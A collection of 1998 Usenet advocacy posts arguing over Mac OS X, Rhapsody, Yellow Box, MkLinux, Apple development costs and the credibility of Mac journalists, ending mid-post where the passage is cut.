Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
/>C@|s&Og$a~PWByK#FcE"c1eV]<oBYWgsvFx)X.1IV=wcC9^!onQ4M8ewM
Michael M. Eilers <not@a.valid.email.add> wrote:
> Why do people babble about "protected memory" like they have some
> inalienable right to it--like Apple "owes" them this capability for free?
> Have any of them priced NT Server?
Actually, people can get protected memory for free as long as they have
a NuBus based PowerMac or better - and as long as it is not _too_ new.
Just downloadk MkLinux. UNIX has always had protected memory. And lots
of freeware [and payware] programs exist for UNIX.
MkLinux even has a graphical user interface with a three button mouse:
XWindows.
--
Per Erik Rønne
E-mail: xerxes@diku.edu.dk
Homepage with pgp public key: http://www.diku.dk/students/xerxes
Remove '.edu' before e-mail [anti-spam]
From: Secret Agent Man <averyc@ocf.Berkeley.EDU>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 14 Jul 1998 14:29:43 -0700
Organization: University of California, Berkeley
Message-ID: <Pine.SOL.3.96.980714142820.440D-100000@apocalypse.OCF.Berkeley.EDU>
References: <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <DTuq1.61$E5.334273@proxye1.san.rr.com> <6oei8o$672$5@lwnws01.ne.highway1.com> <1dc6iny.14bhwuc15rwxyeN@rhrz-isdn3-p59.rhrz.uni-bonn.de>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
To: Michael Schuerig <schuerig@acm.org>
In-Reply-To: <1dc6iny.14bhwuc15rwxyeN@rhrz-isdn3-p59.rhrz.uni-bonn.de>
> Any pointers where I can get an impression of UIs that are very much
> better than what Apple has to offer?
>
> Michael
Try looking at AfterStep for Linux. It's a beautiful GUI. I'd take it over
the Mac GUI anyday, 'cept it's a pain to put Linux on PPC. Certainly not
as easy as it is to put on a Wintel box.
-avery
______________________________________
averyc@ocf.berkeley.edu
flash96@uclink4.berkeley.edu
averyc@poincare.eecs.berkeley.edu
"Sleep is for people who can't finish a project in one night"
-as seen on the whiteboard at Soda
"Bathrooms are for the weak"
-also seen on the whiteboard at Soda
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 14 Jul 1998 14:37:07 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-1407981437080001@1-58.phx.psn.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6oga6q$iv$1@news.xmission.com>
NNTP-Posting-Date: 14 Jul 1998 21:35:20 GMT
Mail-Copies-To: eilersm@azstarnet.com
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <6oga6q$iv$1@news.xmission.com>, don@misckit.com wrote:
> Are you NOT aware that Jobs is one of Scott's information sources?
>
> Now, whether or not Jobs tells truth or lies to Scott is certainly worthy of
> speculation, but Scott's sources are very high up at Apple, including as high
> up as Jobs himself in some cases.
I'm also aware, as others have pointed out on this thread, that Scott is a
NeXT and potential Yellow Box developer, which most certainly gices him a
bias in this discussion. A bias that Mr. Norr does not share. A bias that
effectively counts Scott out as a reliable source.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
"Eureka! I smella!" --chant of a 4-year-old out by the pool
Michael M. Eilers * Fearful Symmetry Designs
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 14 Jul 1998 21:44:29 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6qnk9t.jhe.sal@panix3.panix.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com> <slrn6qd055.30p.sal@panix3.panix.com> <35AA8353.347603D6@nospam.com>
On Mon, 13 Jul 1998 14:59:47 -0700, Tim Triemstra <nospam@nospam.com> wrote:
>> YB on NT is a much easier sell.
>Yes, but it isn't easier to develop.
It isn't all that much harder.
> Apple won't likely make a nickel
>on selling YB on Windows anyway,
But *I* will. The fact that Apple is making it harder for me to sell their
products is due to complex reasoning that hides basic stupidity. Rhaptel
sales today will be PPC sales next year.
>Developers will NOT build YB apps on YB for
>Windows.
Not true. Look at how WO is selling on Wall Street. Would you like to talk
to some consultants who are selling WO? If Apple pushed it and sold a WO
lite, it might move better.
As far as YB without WO, wait until Apple can sell it on Apple hardware
before you see them push it on Wintel hardware.
> They'd run Delphi which isn't much worse than YB
>development, has a wider audience and runs much better.
Delphi and VB have the same problems that most of the other RAD tools have.
They tightly bind the GUI and the logic.
<mantra>
Painting GUIs is cheap, describing business logic is expensive.
</mantra>
By tightly binding GUI and logic, you are making it harder to reuse code.
I've written a number of posts on how MVC will save you time and make you
money. If you (or anyone) wants to look them up on dejanews go right ahead.
I'll even mail copies if you want.
> The only way you get Intel developers
>to write to Yellow Box is give them a kick-ass Mach based development
>environment that deploys on Macs and Windows.
Apple should do that anyway. I've been saying that since day one. Rhaptel
sales today might be g4 sales next year. Bluebox will preserve most of the
Mac user sales.
>If you don't think we care, why do
>7 million or so of us run Linux!?
Because it work well and you can get it for the price of a phone call.
Is it just me or has Redhat quality been slipping since RH4.x? 5.0
had all kinds of problems and 5.1 isn't much better.
--
sal@panix.com
Salvatore Denaro
Date: Tue, 14 Jul 1998 13:08:32 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1407981308330001@wil86.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net>
In article <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <Josh.McKee-1307982024580001@pm3a3.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > In article <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net>,
> > gmgraves@slip.net (George Graves) wrote:
> >
> >
> > > You are forgetting that OS-8 will continue to be sold and supported in
> > > parallel with OS-X. Anyone who's Power Mac won't run OS-X can run
> OS-8.x, and
> > > OS-8.x will run carbon-tuned apps. It just won't have protected
> memory, and
> > > PMT. If those are the features one wants, one will have to buy a G3
or a G4
> > > machine to get them.
> >
> >
> > Let me ask you this George, how do you know OS 8.x will run carbon
tuned apps?
>
> Jobs, at his WWDC presentation in May, talked about Sonata (the next
major OS-8
> (9?) upgrade after Allegro). He said that it would contain an extension
> which would
> allow it to run Carbon-tuned apps -only without PMT and memory protection.
Right. I had heard that.
But wasn't Sonata supposed to be Mac OS 9 rather than 8.x?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 14 Jul 1998 13:14:28 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1407981314280001@wil86.dol.net>
References: <6oet38$1pvc$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980714114004.13773B-100000@ux5.cso.uiuc.edu>
In article <Pine.SOL.3.96.980714114004.13773B-100000@ux5.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On 14 Jul 1998, Anil T Maliyekke wrote:
>
> > Pulsar (pulsar@springnet1.com) wrote:
> <snip>
> > : That means that Apple can spend up to 10 million dollars on getting Mac
> > : OS X to run on these older PowerMacs and still _at least_ break even.
> >
> > : Let's try to examine the costs for getting Mac OS X to run on these
> > : machines.
> <snip>
> > : This is a total of $160,000.
> >
> > : Let's assume that the figure is off by a factor of 50!
> >
> > : 50 * $160,000 = $8,000,000.
> >
> > : So assuming that the real cost of getting Mac OS X to work on these
> > : machines is 50 times more than I estimated, then Apple will _still_ make
> > : a profit off of selling Mac OS X to pre-G3 PCI PowerMac owners!
> >
> > I couldn't tell you if these numbers reflect reality,
>
> They almost certainly don't. The profit from sales of the OS would
> probably be a lot higher. The cost of getting Mac OS X to work on the
> machines in question would likely lay on the lower to middle sideof teh
> $160,000 to $8,000,000 range
I don't know what the real numbers are, but I'm pretty certain that it
would not be at the low end of this range.
A typical programmer probably costs Apple _at least_ $80 K when you factor
in overhead and benefits (probably much more than that). In order to reach
the $160,000 figure, all the work of getting Mac OS X to run would have to
be done in 2 man years of work. That includes rewriting any kernel code,
updating the Rhapsody kernel to Mach 3.0, writing a slew of drivers,
rewriting Carbon, implementing the new graphics architecture, and probably
some things I'm missing. THEN, you have to do all the QA and fix any
problems that crop up.
I can't comment on whether it is in the middle of this range or 10 times
higher, so you're on your own there.
>
> I'm not asking for an immediate commitment from Apple that it will support
> these machines. I want some evidence that Apple is seriously considering
> support for these machines. If Apple finds that it would be unreasonable
> because of time constraints or somesuch, then I will understand. I might
> not be happy about it, but in that case I won't be angry.
Actually, wasn't there a discussion a few months ago where Avie (the
technical guy) said that Mac OS X would have broad coverage and the
marketing guy said it would be G3 only? If my memory is correct on this,
then they must have been considering it for Avie to have made that
statement.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 14 Jul 1998 16:38:01 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1407981638020001@wil37.dol.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com>
In article <35ABA71F.64A649B5@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Scott is anything but qualified to disparage the likes of Henry Norr.
> That's undisputable. Oh, I know how the NeXT community likes to hold
> itself above the Mac community, which would obviously make media
> personalities like Scott Anguish more credible than longtimers like
> Norr.
Fine. I've been a Mac user for 13 years now and _I'll_ disparage Norr. He
has never been very reliable and has had an anti-Apple chip on his
shoulder as long as I can remember.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: chaps@netcomuk.co.ukX (Stan The Man)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 14 Jul 1998 22:54:11 +0100
Organization: ShipShape
Message-ID: <chaps-ya02408000R1407982254110001@nntp.netcomuk.co.uk>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6ogh3r$eju$1@news.digifix.com>
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In article <6ogh3r$eju$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
>On 07/14/98, Michael M. Eilers wrote:
>>In article <6oeict$msj$1@news.digifix.com>, sanguish@digifix.com
>(Scott
>>Anguish) wrote:
(snip)
>>> Gee, as I recall, Mr Norr is now writing for Macintouch,
>not
>>> MacWeek. Why do I doubt that is a steady paying job.
>>
>>He writes for many other publications as well. Trust me on this,
>MacWeek
>>is a *very* well paying job, for a journalist. Not that the amount
>>matters--what matters is that the editors trust him to write solid
>stuff
>>and not make a fool of himself.
>
> Really? So why did Mac Week let him go?
(snip)
As I understood it at the time, based on correspondence with Mr Norr, the
primary reason for the parting of the waves was that MacWeek wanted all
their stories to be heavily pro-Apple while Mr Norr wanted to tell the
truth as he saw it, warts 'n' all.
This conflict in idealogies - between evangelism and honest journalism -
became intolerable for Mr Norr, albeit he surely wants Apple to succeed as
much as the next man.
Stan
--
Stan The Man
+++Naked Under This Macintosh+++
DELETE X when replying
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: Tue, 14 Jul 1998 14:49:01 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1407981449010001@dante.eng.uci.edu>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5n32$6q$2@news.xmission.com> <Fergus.Doherty-ya02408000R1307981548500001@news.nottingham.ac.uk> <6ods31$lh3$1@lwnws01.ne.highway1.com> <6ogar0$m58@newsb.netnews.att.com>
In article <6ogar0$m58@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>IMO, rather than try to fix or support the problems of Intel-based
>hardware, if Apple could bring down prices on PowerPC hardware by
>20% or more, on a sustained basis, that would be the correct thing
>to do.
Agreed. 100%.
Throw in Apple's ability (though historically not always practice) to
support only the cream of the crop of technology and phase out legacy
stuff and it would seem quite attainable.
What kind of savings does Apple get for dumping ADB, SCSI, Serial,
Geoport? How much simpler does the OS get and how much in
hardware/compatability savings does Apple get? Only support USB, IrDA,
Firewire, Ethernet, and audio/video in/out. That pretty much covers it
all, in 1/3 the ports of a PC.
While it's not _too_ obvious on the desktop line, I think about a
Powerbook only needing half of it's existing ports (and them being smaller
to boot) and I can't help but think that considerable costs savings must
be there, at least at the low end.
Using the iMac to facilitate this kind of shift is, well, brilliant in my
opinion. By xMas we should have a considerable pool of USB devices to
choose from which will allow for the desktop and laptop lines to justify
the same switch for a more demanding audience.
Date: Tue, 14 Jul 1998 16:35:58 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1407981635580001@wil37.dol.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6oga6q$iv$1@news.xmission.com> <35abb32c.0@news.depaul.edu>
In article <35abb32c.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Don Yacktman <don@misckit.com> wrote:
>
> > Are you NOT aware that Jobs is one of Scott's information sources?
>
> >Now, whether or not Jobs tells truth or lies to Scott is certainly worthy of
> >speculation, but Scott's sources are very high up at Apple, including
as high
> >up as Jobs himself in some cases.
>
> It would be nice if someone would pass along to these sources that
> a free, Appkit-less, PDO-like YellowBox/Windows runtime would be a
> very good idea.
There's probably no one better than Scott to pass this information along.
So stay on his good side. ;-)
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 14 Jul 1998 14:53:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6ogjvs$cti@nntp02.primenet.com>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos> <6ofu0o$q2h@nntp02.primenet.com> <6og44u$bpf$1@leonie.object-factory.com>
In article <6og44u$bpf$1@leonie.object-factory.com> you wrote:
: John Jensen wrote:
: > I will be somewhat pleased, and not all that surprised, if Yellow
: > ships before and better than Java. Nonetheless it annoys me when
: > people stretch the truth in capital letters. RIGHT NOW would mean to
: > me that you can ship your software to real customers today. Is that
: > true?
: Yes. Shocking, isn't it?
Details please, what target OS are you supporting and what runtime
packages are you shipping today to end users (ie. people without NDAs and
pre-release software)?
John
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 14 Jul 1998 21:55:09 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6ogk3t$9ln@shelob.afs.com>
References: <slrn6qnk9t.jhe.sal@panix3.panix.com>
Salvatore Denaro writes
> Delphi and VB have the same problems that most of the other RAD tools
> have. They tightly bind the GUI and the logic.
It might be more accurate to say "Delphi does not provide a native MVC
solution." There is nothing inherent in Delphi that forces you to bind
GUI and logic, though I admit its default behavior would bias a novice
to code that way. But we built a great Model base class that inherits
from TDataSource, and this is a killer component that keeps the logic
nice and clean in the middle.
You can write bad in any environment. The question is whether you have
the freedom to express yourself the way you want to. Delphi does.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 11:17:19 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1407981117200001@sdn-ar-001casbarp291.dialsprint.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu> <pulsar-ya02408000R1307981954300001@news-proxy.cso.uiuc.edu> <MPG.1014a8e367d27764989993@news.supernews.com>
In article <MPG.1014a8e367d27764989993@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <pulsar-ya02408000R1307981954300001@news-proxy.cso.uiuc.edu>,
> pulsar@springnet1.com says...
> > Let's try to examine the costs for getting Mac OS X to run on these
> > machines.
> >
> > Assume that a software engineer works for 40 hours a week at $100 per
> > hour.
> >
> > Assume 4 people work for 2 weeks working on getting Mac OS X to run on
> > these machines.
> >
> > That's 2 * 4 * 40 * 100 = $32,000.
> >
> > Now assume that 8 people work for 4 weeks on quality assurance, testing,
> > and debugging.
> >
> > That's 8 * 4 * 40 * 100 = $128,000.
> >
> > This is a total of $160,000.
> >
> > Let's assume that the figure is off by a factor of 50!
> >
> > 50 * $160,000 = $8,000,000.
> >
> You neglected to factor in payroll taxes, costs of hiring these 12 people
> (you won't find the caliber of people you need by just posting a want
> ad), management costs, delay on other teams as they have to bring your
> new team up to speed and coordinate with the teams.
Actually Mr. Brown, as far as the salary I believe he is OVERESTIMATING.
Apple uses mostly contractors for qa (at least a whole lot!). THey pay
such a contractor about $22 a hour. The contractor is getting paid by a
agency (Adecco probably being the largest supplier), the agency is paid no
more than $35 a hour (probably more like $30), it then pays the contractor
from this ammount. So INSTEAD of $100 a hour, its about $35 a hour. And
this includes payroll taxes (addeco pays this, they take it out of the $35
apple pays them), and some of the cost of hiring (Adecco searches for
qualified candidates, but apple still has to interview people, Adecco
basically takes the place of a companys HR, so the HR costs arent paid by
apple (over and above the $35 a hour they pay for their contractors that
is).
And as far as the full time people at apple, like the team leads (and lots
of team leads are contractors too!!!!, I remember the lead for harmony and
tempo for integrated quality was a contractor), they make about $50k a
year (a cost of $125k for apple??). The above person used $100 a hour,
which is $200k a year, which is more than even apple would pay in true
costs (taxes, benefits, etc)
--
So many pedestrians, so little time.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple heading to obscurity?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com>
Message-ID: <35abb26e.0@news.depaul.edu>
Date: 14 Jul 98 19:33:02 GMT
In comp.sys.next.advocacy Michael Peck <Michael.Peck@ericsson.com> wrote:
> Scott is anything but qualified to disparage the likes of Henry Norr.
> That's undisputable. Oh, I know how the NeXT community likes to hold
> itself above the Mac community, which would obviously make media
> personalities like Scott Anguish more credible than longtimers like
> Norr. But do try to restrain some of that. It makes my stomach turn to
> see Norr's name dragged through the dust in a public forum when he has
> done nothing to merit such treatment.
On the other hand, being a journalist is a very cushy, safe place
from which to make prognostications. If Mr. Norr is wrong, he
loses nothing. Including reputation, since what he writes today
will be soon forgotten, replaced by tomorrow's flood of
information(*).
This is why Scott is IMHO more credible than Mr. Norr. No
disrespect to Mr. Norr intended, but a person whose business depends
on Apple has a lot more at stake, and more incentive to
more carefully analyze information. If Henry makes a bad call,
it's no biggie. If Scott makes a bad call, he could lose
quite a bit.
In short, Mr. Norr's job has been to take in information
about Apple, analyze it, and report it. Scott, and
anyone else in an Apple-related business, has had to
take in information, analyze it, and *act* on it,
possibly risking considerable amounts of capital,
or risking the opportunity cost of a particular course
of action.
Mr. Norr risks having to say 'oops' in print. People
in business risk bankruptcy.
Given the choice, I'd believe Scott first. (Though
I'm not able to share his positive outlook on
YellowBox.)
(*) As an aside, Brill's Content magazine is supposed
to start taking a critical look at the technology media.
It'll be interesting to see what they turn up.
--
"... and subpoenas for all." - Ken Starr
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 14 Jul 1998 15:01:26 -0500
Organization: Ericsson North America Inc.
Message-ID: <35ABB916.F3460C01@ericsson.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <35abb26e.0@news.depaul.edu>
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Jonathan W Hendry wrote:
> On the other hand, being a journalist is a very cushy, safe place
> from which to make prognostications. If Mr. Norr is wrong, he
> loses nothing. Including reputation, since what he writes today
> will be soon forgotten, replaced by tomorrow's flood of
> information(*).
Journalism is *supposed* to be safe. If it weren't safe, Norr's
prognostications would be biased toward protecting himself.
> This is why Scott is IMHO more credible than Mr. Norr. No
> disrespect to Mr. Norr intended, but a person whose business depends
> on Apple has a lot more at stake, and more incentive to
> more carefully analyze information. If Henry makes a bad call,
> it's no biggie. If Scott makes a bad call, he could lose
> quite a bit.
So if Henry is wrong, he is wrong. If Scott is wrong, he didn't push
enough advocacy.
> In short, Mr. Norr's job has been to take in information
> about Apple, analyze it, and report it. Scott, and
> anyone else in an Apple-related business, has had to
> take in information, analyze it, and *act* on it,
> possibly risking considerable amounts of capital,
> or risking the opportunity cost of a particular course
> of action.
Precisely. So it is *directly* in Scott's interest to cajole, browbeat,
and insult those running away from Apple's complete dunderheadedness by
saying "Yellow Box isn't dead! You idiots, stop running! Buy Apple
hardware! Upgrade often!" because the more public confidence Apple
retains, the safer his business is and the more protected his current
skills are.
I couldn't have expressed Scott's obvious bias any better than you did.
> Mr. Norr risks having to say 'oops' in print. People
> in business risk bankruptcy.
Which is why reporters generally aren't encouraged to set up businesses
in the industries on which they report.
Scott isn't a reporter. Scott is a self-interested businessman who
happens to run an advocacy Website and occasionally posts rude comments
to USENET.
MJP
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 14 Jul 1998 19:01:16 GMT
Organization: I don't think so
Message-ID: <slrn6qnb5m.l5.jason@jhste1.dyn.ml.org>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu> <1dc5ara.kuxawe14pa101N@ip206.albnxr2.ras.tele.dk> <slrn6qmo5o.bvt.jason@jhste1.dyn.ml.org> <1dc65nk.1v79uuvobynmhN@ip228.albnxr2.ras.tele.dk>
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Per Erik Rønne posted the following to comp.sys.mac.advocacy:
>> >> Does MkLinux (using the Mach 3 kernel) run on 603e's yet?
>> >With MkLinux, the old 6100/7100/8100 line of cumputers are better than
>> >the 603e line!
>Because these first PowerMacs were the first to be supported. And it is
>a long time ago since I have heard about bugs - when talking about these
>NuBus PowerMacs.
Okay. Really, anyone who wants to run Linux on a 603e/PCI machine
should run Linux/PowerPC, then. It works very well on my PowerBase,
for example.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-x5YwSjPp5bUS@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: '97 Mac entrant feels shafted
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <not-1407981111160001@2-25.phx.psn.net>
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Date: 14 Jul 1998 20:42:42 GMT
Organization: IBM.NET
On Tue, 14 Jul 1998 18:11:16, not@a.valid.email.add (Michael M.
Eilers) thought aloud:
> In article <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost>,
> pit@iohk.SPAM-NOT.com (taiQ) wrote:
>
> > Ah, the great re-naming game. When was Mac OS X Server announced
> > again? Last week? And was it really "announced"? Are current '97-'98
> > G3's absolutely certainly going to be Mac OS X compatible when/if it
> > finally ships in late '99? See where this leads?
>
> Frankly, I don't. Apple today announcing Mac OS X is an entirely different
> company than the Apple that announced Copland. Back then they were a
> totally disorganized bunch of nerd/hippie hybrids being run by a former
> cola executive and with a board stocked by companies that would profit if
I was referring to January 199*7* when Amelio, with Special Advisor Mr
Jobs standing by, announced _Rhapsody_. My mistake, eh.
> Apple folded. Now they have a new board, an almost-CEO willing to kick
> serious ass, and all the hippies got their 6-month-paid-leave revoked.
> Copland I never expected to see--but but Mac OS X will be in my hand on
> the ship date, I am quite sure. It will run on anything with an Apple
> motherboard G3 and up, period. By 1999 owning anything else and expecting
> to be on the cutting edge will be a laughable proposition.
Thanks for the information.
> > > Why have you all forgotten a very obvious point? Development on Allegro
> > > (8.5) is going to continue in parallel with Mac OS X, with features
> > > migrating "downstairs" from OS x the whole time. Both OS 8/9 and OS X
> > > (with OS X Server) are going to co-exist the whole time, and the 601-604e
> > > OS's will continute to exist for the future. No, you won;t be able to run
> > > the latest and greatest, but trust me, NT 5.0 isn't going to run on any
> > > 486 (and perhaps nothing below Pentium II.) There is a far distance
> > > between "getting shafted" and just getting second place in line.
> >
> > I have not forgotten the point Allegro was supposed make. Parallel
> > development was, until recent policy changes, due to lack of seamless
> > Blue Box (remember that?) in Rhapsody, and to support if not '040's at
> > least the host of first generation Nubus-based Powermacs. A "601-604e"
> > OS is an alien and unwelcome new concept to me.
>
> Not the case at all. Paralell development on OS 8 was for the people who
> would find the new UI and server-side sophistication of Rhapsody too
> confusing or intimidating. OS 8.5 and above *is* designed to support all
> PPC macs, and will do so in the future.
Thanks for setting me right.
> There will be a definite split in the market: 8.5 and 9 for Non-G3
> machines, OS X and OS X-compliant apps for G3 and above. Carbon-enhanced
> apps *will not* run on OS 8.5 or below, ever, but will run on OS 8.6 and
> above. All of this is official Apple policy, quoted from several sources
> including Macintouch and MacNN.
Allegro and Sonata for non-G3 machines...? OK. The "601-604e" OS.
Right. So _now_ I know the official Apple policy. This one's for real.
> > I couldn't care less what NT does or does not run on. ;-) And M$
> > isn't a supplier of integrated solutions (or any solutions if you
